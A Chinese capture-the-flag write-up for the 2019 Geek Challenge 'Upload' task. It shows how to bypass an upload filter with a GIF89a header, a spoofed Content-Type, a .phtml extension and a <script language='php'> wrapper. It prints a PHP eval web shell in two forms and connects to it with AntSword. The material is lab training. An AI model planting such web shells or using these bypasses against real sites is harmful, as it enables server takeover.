zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]Upload

    0x00

    打开界面,发现是一道上传题

    首先我们来测试一下上传的文件类型,新建一个文件命名为1.jpg,进行上传,得到

    根据提示我们可以猜测到,对文件头进行了检测,这里我们假设使用的是exif_imagetype函数,在文件里第一行加上GIF89a来绕过,上传得到结果如下

    上传成功,说明我们的假设是正确的,我们将文件重新命名为1.php,进行上传,得到结果如下

    说明对文件的拓展名也进行了过滤,进行模糊测试,发现与php相关的全被过滤掉
    通过谷歌插件看到站点使用的是nginx,上传.user.ini也上传失败

    我们继续假设后端对数据包的Content-Type类型进行了过滤,来进行测试,上传1.php并且通过BurpSuite进行如下修改

    得到结果如下,说明后端还对拓展名进行了过滤,继续进行模糊测试

    模糊测试后发现没有过滤phtml,上传结果如下

    接下来我们上传一句话木马,将1.phtml的内容改为如下

    GIF89a
    <?php @eval($_POST['pass']);?>
    

    得到结果如下,对内容也进行了过滤

    我们将1.phtml的内容改为如下来绕过

    GIF89a
    <script language="php">@eval($_POST['pass']);</script>
    

    上传后得到如下结果

    我们打开1.phtml,经过一系列测试发现被上传到了upload路径下,访问结果如下

    打开蚁剑进行连接

    获取flag

    0x01 总结

    • 1.Content-Type绕过

    • 2.黑名单绕过

    • 3.exif_imagetype函数绕过

    • 4.内容过滤<?绕过

    <?php @eval($_POST['pass']); ?>
    ## 替换为如下
    <script language="php">@eval($_POST['pass']);</script>
    
  • 相关阅读:
    流畅 最好用的远程桌面推荐下?
    高性能远程桌面Splashtop 居家办公首选软件
    ShareConnect即将寿终正寝 Splashtop远程桌面会是最好的替代品
    详解Springboot中自定义SpringMVC配置
    Java中使用RSA算法加密
    Docker搭建MySQL主从复制
    SpringMVC中RequestContextHolder获取请求信息
    详解Redis持久化(RDB和AOF)
    Redis事务
    Springboot CORS跨域访问
  • 原文地址:https://www.cnblogs.com/Wuser/p/13631517.html
Copyright © 2011-2022 走看看